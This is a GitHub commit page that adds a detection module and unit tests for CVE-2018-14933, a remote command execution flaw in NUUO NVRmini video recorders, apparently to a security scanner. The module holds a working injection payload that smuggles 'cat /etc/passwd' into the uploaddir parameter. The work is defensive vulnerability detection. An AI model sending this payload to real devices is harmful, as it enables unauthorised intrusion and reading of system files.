Skip to content

Commit

Permalink
Merge pull request #162 from Ostorlab/feature/cve-2018-14933
Browse files Browse the repository at this point in the history
Add detection for CVE-2018-14933
  • Loading branch information
3asm authored Dec 20, 2024
2 parents 368a22e + 1997105 commit 4dcf1bb
Show file tree
Hide file tree
Showing 2 changed files with 126 additions and 0 deletions.
39 changes: 39 additions & 0 deletions agent/exploits/cve_2018_14933.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
"""Agent implementation for CVE-2018-14933"""

import re

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

VULNERABILITY_TITLE = "Remote Command Execution in NUUO NVRmini devices"
VULNERABILITY_REFERENCE = "CVE-2018-14933"
VULNERABILITY_DESCRIPTION = (
"The `upgrade_handle.php` endpoint on NUUO NVRmini devices is vulnerable to remote command execution. "
"This flaw exists due to improper sanitization of shell metacharacters in the `uploaddir` parameter when "
"handling a `writeuploaddir` command."
)
RISK_RATING = "CRITICAL"


@exploits_registry.register
class CVE201814933Exploit(webexploit.WebExploit):
accept_request = definitions.Request(
method="GET",
path="/",
)

accept_pattern = [re.compile(r"<title>NUUO Network Video Recorder")]
check_request = definitions.Request(
method="GET",
path="/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;cat%20/etc/passwd;%27",
)

match_pattern = [re.compile(r"root:.*:0:0:")]

metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)
87 changes: 87 additions & 0 deletions tests/exploits/cve_2018_14933_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
"""Unit tests for Agent implementation: CVE-2018-14933"""

import requests_mock as req_mock
from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin

from agent import definitions
from agent.exploits import cve_2018_14933


def testCVE201814933_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2018-14933 unit test: case when target is vulnerable."""
requests_mock.get(
"http://localhost:80/",
text="<title>NUUO Network Video Recorder",
status_code=200,
)
requests_mock.get(
"http://localhost:80/upgrade_handle.php",
text="root:x:0:0:root:/root:/bin/bash",
status_code=200,
)
exploit_instance = cve_2018_14933.CVE201814933Exploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) > 0
vulnerability = vulnerabilities[0]
assert (
vulnerability.entry.title == "Remote Command Execution in NUUO NVRmini devices"
)
assert vulnerability.technical_detail == (
"http://localhost:80 is vulnerable to CVE-2018-14933, Remote Command Execution in NUUO NVRmini devices"
)
assert vulnerability.risk_rating == vuln_mixin.RiskRating.CRITICAL


def testCVE201814933_whenSafe_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2018-14933 unit test: case when target is safe."""
requests_mock.get(
"http://localhost:80/",
text="<title>NUUO Network Video Recorder",
status_code=200,
)
requests_mock.get(
"http://localhost:80/upgrade_handle.php",
text="Access Denied",
status_code=403,
)
exploit_instance = cve_2018_14933.CVE201814933Exploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 0


def testCVE201814933_whenTargetNotRelevant_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2018-14933 unit test: case when target is not a NUUO product."""
requests_mock.get(
"http://localhost:80/",
text="Not Found",
status_code=404,
)
requests_mock.get(
"http://localhost:80/upgrade_handle.php",
text="Access Denied",
status_code=403,
)
exploit_instance = cve_2018_14933.CVE201814933Exploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is False
assert len(vulnerabilities) == 0

0 comments on commit 4dcf1bb

Please sign in to comment.